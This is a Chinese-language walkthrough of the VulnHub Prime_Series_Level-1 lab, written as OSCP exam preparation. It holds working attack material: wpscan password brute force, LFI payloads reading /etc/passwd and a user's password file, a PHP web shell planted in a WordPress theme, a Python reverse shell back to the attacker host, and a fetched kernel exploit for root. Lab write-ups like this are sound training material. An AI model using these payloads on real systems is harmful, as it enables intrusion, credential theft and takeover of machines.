Prime_Series_Level-1靶场，wpscan爆破，LFI漏洞，wordpress更改文件getshell，ubuntu内核提权

发布于：2025-02-21 ⋅ 阅读:(17) ⋅ 点赞:(0)

泷羽Sec-尘宇安全

前言

oscp备考，oscp系列——Prime_Series_Level-1靶场，wpscan爆破，LFI漏洞，wordpress更改文件getshell，ubuntu内核提权

难度简单偏上

  • 对于低权限shell获取涉及：wpscan爆破，LFI漏洞，wordpress更改文件getshell
  • 对于提权：ubuntu内核提权

下载地址：

https://www.vulnhub.com/entry/prime-1,358/

namp

主机发现

└─# nmap -sn 10.10.10.0/24                      
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-19 16:20 CST
Nmap scan report for 10.10.10.1
Host is up (0.00092s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 10.10.10.2
Host is up (0.00069s latency).
MAC Address: 00:50:56:F2:C6:98 (VMware)
Nmap scan report for 10.10.10.152
Host is up (0.00044s latency).
MAC Address: 00:0C:29:E3:08:DA (VMware)
Nmap scan report for 10.10.10.254
Host is up (0.00018s latency).
MAC Address: 00:50:56:E3:2F:42 (VMware)
Nmap scan report for 10.10.10.128
Host is up.
Nmap scan report for 10.10.10.151
Host is up.
Nmap done: 256 IP addresses (6 hosts up) scanned in 3.52 seconds

端口扫描

└─# nmap --min-rate 10000 -p- 10.10.10.152      
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-19 16:21 CST
Nmap scan report for 10.10.10.152
Host is up (0.00097s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 00:0C:29:E3:08:DA (VMware)

Nmap done: 1 IP address (1 host up) scanned in 27.63 seconds

└─# nmap --min-rate 10000 -p- 10.10.10.152 -sU
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-19 16:24 CST
Warning: 10.10.10.152 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.152
Host is up (0.00086s latency).
All 65535 scanned ports on 10.10.10.152 are in ignored states.
Not shown: 65457 open|filtered udp ports (no-response), 78 closed udp ports (port-unreach)
MAC Address: 00:0C:29:E3:08:DA (VMware)

Nmap done: 1 IP address (1 host up) scanned in 73.05 seconds

详细端口扫描

└─# nmap -sV -sT -sC -O -p22,80 10.10.10.152
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-19 17:13 CST
Nmap scan report for 10.10.10.152
Host is up (0.00087s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 8d:c5:20:23:ab:10:ca:de:e2:fb:e5:cd:4d:2d:4d:72 (RSA)
|   256 94:9c:f8:6f:5c:f1:4c:11:95:7f:0a:2c:34:76:50:0b (ECDSA)
|_  256 4b:f6:f1:25:b6:13:26:d4:fc:9e:b0:72:9f:f4:69:68 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: HacknPentest
MAC Address: 00:0C:29:E3:08:DA (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.07 seconds

信息收集

web页面，80

image.png
发现是wordpress5.2.2

目录扫描

image.png

dirb http://10.10.10.152/ -X .txt,.php,.zip

image.png

http://10.10.10.152/dev

没什么提示
image.png

http://10.10.10.152/secret.txt

image.png

提到一个location.txt文件和一个链接
访问一下

https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_For_Web

发现使用了wfuzz，应该是要进行参数爆破
image.png

漏洞利用

wpscan

wpscan --url http://10.10.10.152/wordpress/ -e u --api-token jVg0FHFXO21oRJ3Tv9sxqYepnXAeql6qooSQfObKysQ

image.png
得到一个用户名

victor

进行密码爆破

wpscan --url http://10.10.10.152/wordpress/ -U victor -P /usr/share/wordlists/rockyou.txt -t 30 --api-token jVg0FHFXO21oRJ3Tv9sxqYepnXAeql6qooSQfObKysQ

爆破识别

image.png

参数爆破，LFI漏洞

之前信息收集知道要参数爆破，我们使用ffuf爆破

ffuf -u http://10.10.10.152/index.php?FUZZ=./secret.txt -w /usr/share/dirb/wordlists/common.txt  -fs 0  >fuzz.txt

image.png

使用grep过滤一下

cat fuzz.txt | grep -v "136"

image.png
发现file参数，访问一下

http://10.10.10.152/index.php?file=./secret.txt

image.png
说我在挖掘错误的文件，尝试之前提到的文件

http://10.10.10.152/index.php?file=location.txt

image.png
他说使用 ‘secrettier360’ 参数在其他一些php页面，就只有一个image.php了

http://10.10.10.152/image.php?secrettier360=./index.php

image.png
说我们得到了正确的参数，读取一下/etc/passwd

http://10.10.10.152/image.php?secrettier360=../../../../../../../../etc/passwd

image.png

find password.txt file in my directory
在我的目录中查找password.txt文件

根据这个saket用户名，路径为/home/saket/password.txt，读取一下

http://10.10.10.152/image.php?secrettier360=../../../../../../../../home/saket/password.txt

image.png
得到

follow_the_ippsec

之前得到的用户名：victor，尝试登录试试

wordpress更改网页文件，getshell

登录成功，上传反弹shell脚本
image.png
发现不行
image.png
在网上搜索一下wordpress 5.2.2漏洞，来到编辑文件的地方，找到一个可写文件，写入木马

<?php
system($_GET["cmd"]);
?>

image.png
这里文件的访问路径规律为

  • 首先确定在/wordpress/wp-content/themes/目录下面
  • 然后分类为Twenty Nineteen，则下一层目录为/twentynineteen
  • 最终路径为
http://10.10.10.152/wordpress/wp-content/themes/twentynineteen/secret.php?cmd=ls

访问一下
image.png
反弹shell

http://10.10.10.152/wordpress/wp-content/themes/twentynineteen/secret.php?cmd=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.10.10.128%22,6666));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import%20pty;%20pty.spawn(%22/bin/bash%22)%27

image.png

提权

读取一下配置文件，获取mysql账号密码
image.png

/** MySQL database username */
define( 'DB_USER', 'wordpress' );

/** MySQL database password */
define( 'DB_PASSWORD', 'yourpasswordhere' );

进入数据看看没有发现什么信息

sudo -l查看一下权限，发现有一个不需要密码的可以运行文件/home/saket/enc
image.png
不过尝试了一些，发现不行
image.png

ubuntu内核提权，cve-2017-16995

查看一下内核

www-data@ubuntu:/home/saket$ uname -a
uname -a
Linux ubuntu 4.10.0-28-generic #32~16.04.2-Ubuntu SMP Thu Jul 20 10:19:48 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
www-data@ubuntu:/home/saket$ cat /etc/*-release
cat /etc/*-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=16.04
DISTRIB_CODENAME=xenial
DISTRIB_DESCRIPTION="Ubuntu 16.04.3 LTS"
NAME="Ubuntu"
VERSION="16.04.3 LTS (Xenial Xerus)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 16.04.3 LTS"
VERSION_ID="16.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"
VERSION_CODENAME=xenial
UBUNTU_CODENAME=xenial
www-data@ubuntu:/home/saket$

查看一下是否存在漏洞，发现有一个比较符合
image.png
利用一下

wget http://10.10.10.128/cve-2017-16995.c
gcc cve-2017-16995.c -o cve-2017-16995
./cve-2017-16995

image.png
成功获取root权限

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